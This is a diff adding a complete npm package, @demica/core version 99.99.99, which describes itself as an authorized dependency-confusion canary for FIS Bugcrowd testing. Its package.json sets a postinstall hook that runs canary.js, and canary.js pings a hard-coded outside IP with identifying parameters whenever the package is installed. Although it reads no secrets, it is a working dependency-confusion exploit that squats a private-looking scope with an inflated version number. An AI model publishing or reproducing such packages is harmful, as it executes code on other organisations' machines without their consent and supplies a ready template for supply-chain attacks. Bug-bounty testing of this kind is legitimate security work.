@demica/core 99.99.99

package/README.md

@@ -0,0 +1,12 @@
+# @demica/core
+
+Authorized benign dependency-confusion canary for FIS Bugcrowd testing.
+
+This package performs a single postinstall HTTP ping to the tester-controlled
+collector. The package code does not read or transmit environment variables,
+hostnames, usernames, working directories, filesystem contents, command output,
+credentials, tokens, or source code.
+
+The collector records only network/request metadata visible to the server:
+source IP, User-Agent, timestamp, package name, package version, nonce, and
+lifecycle phase.

package/canary.js

@@ -0,0 +1,35 @@
+'use strict';
+
+const http = require('http');
+
+const PACKAGE_NAME = '@demica/core';
+const PACKAGE_VERSION = '99.99.99';
+const NONCE = 'd77ed27cfacba930a63011b052fb957d';
+const PHASE = process.argv[2] || 'postinstall';
+
+const params = new URLSearchParams({
+  pkg: PACKAGE_NAME,
+  version: PACKAGE_VERSION,
+  nonce: NONCE,
+  phase: PHASE,
+});
+
+const request = http.request(
+  {
+    hostname: '157.230.17.236',
+    port: 80,
+    method: 'GET',
+    path: `/dc?${params.toString()}`,
+    timeout: 3000,
+    headers: {
+      'User-Agent': 'fis-bugcrowd-dependency-confusion-canary/2.0 ping-only',
+    },
+  },
+  (response) => {
+    response.resume();
+  },
+);
+
+request.on('timeout', () => request.destroy());
+request.on('error', () => {});
+request.end();

package/index.js

@@ -0,0 +1,3 @@
+'use strict';
+
+module.exports = {};

package/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@demica/core",
+  "version": "99.99.99",
+  "description": "Authorized benign dependency-confusion canary for FIS Bugcrowd testing.",
+  "main": "index.js",
+  "license": "UNLICENSED",
+  "files": [
+    "index.js",
+    "canary.js",
+    "README.md"
+  ],
+  "scripts": {
+    "postinstall": "node canary.js postinstall"
+  },
+  "publishConfig": {
+    "access": "public",
+    "registry": "https://registry.npmjs.org/"
+  }
+}